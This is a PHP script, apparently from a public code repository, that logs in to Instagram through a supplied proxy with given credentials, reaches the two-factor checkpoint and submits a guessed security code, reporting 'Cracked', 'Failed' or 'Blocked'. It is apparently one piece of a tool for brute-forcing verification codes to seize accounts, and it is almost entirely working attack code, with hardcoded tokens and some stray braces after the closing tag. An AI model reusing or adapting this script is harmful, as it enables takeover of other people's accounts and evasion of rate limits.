-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathproxy.php
92 lines (91 loc) · 2.46 KB
/
proxy.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?
// http://www.mughniagent.co.uk/instagram/proxy.php?proxy=[]&mid=[]&user=[]&pass=[]&code=[]
$proxy = $_GET['proxy'];
$username = $_GET['user'];
$password = $_GET['pass'];
$code = $_GET['code'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.instagram.com/accounts/login/ajax/");
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.instagram.com',
'X-CSRFToken: F8Q8qKQogom1tedr1z1TeEPfR7aWFGt1',
'X-Instagram-AJAX: 1',
'X-Requested-With: XMLHttpRequest',
'Referer: https://www.instagram.com/',
'Cookie: csrftoken=F8Q8qKQogom1tedr1z1TeEPfR7aWFGt1;'
));
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=$username&password=$password");
curl_setopt($ch, CURLOPT_HEADER, 1);
$check = curl_exec($ch);
if(eregi('checkpoint', $check))
{
$starturl = explode('"checkpoint_url": "' , $check );
$endurl = explode('"' , $starturl[1] );
$uri = $endurl[0];
$url = "https://www.instagram.com$uri";
$instagram = curl_init();
curl_setopt($instagram, CURLOPT_URL, $url);
curl_setopt($instagram, CURLOPT_PROXY, $proxy);
curl_setopt($instagram, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($instagram, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($instagram, CURLOPT_HTTPHEADER, array(
'X-CSRFToken: F8Q8qKQogom1tedr1z1TeEPfR7aWFGt1',
'X-Instagram-AJAX: 1',
"Referer: $url",
"Cookie: mid=WWy-QQAEAAE56m6cNeNkhixRJvwg; csrftoken=F8Q8qKQogom1tedr1z1TeEPfR7aWFGt1;"
));
curl_setopt($instagram, CURLOPT_POSTFIELDS, "security_code=$code");
curl_setopt($instagram, CURLOPT_HEADER, 1);
$response = curl_exec($instagram);
if(eregi('"location": "https://www.instagram.com/"', $response))
{
echo "Cracked -> ${code}";
}
else
{
if(eregi("Please check the code we sent you and try again.", $response))
{
echo "Failed -> ${code}";
}
else
{
if(eregi("This field is required.", $response))
{
echo "MID : WWy-QQAEAAE56m6cNeNkhixRJvwg fail";
}
else
{
if(eregi("Please wait a few minutes before you try again.", $response))
{
echo "Please wait [Blocked]->${code}";
}
else
{
if(eregi("You've entered the code incorrectly too many times.", $response))
{
echo "Blocked Dude :( [${code}]";
}
else
{
echo $response ;
}
}
}
}
}
curl_close($instagram);
}
else
{
echo "where is 2FA Bro ???";
}
curl_close($ch);
?>
}
}
}
curl_close($instagram);
?>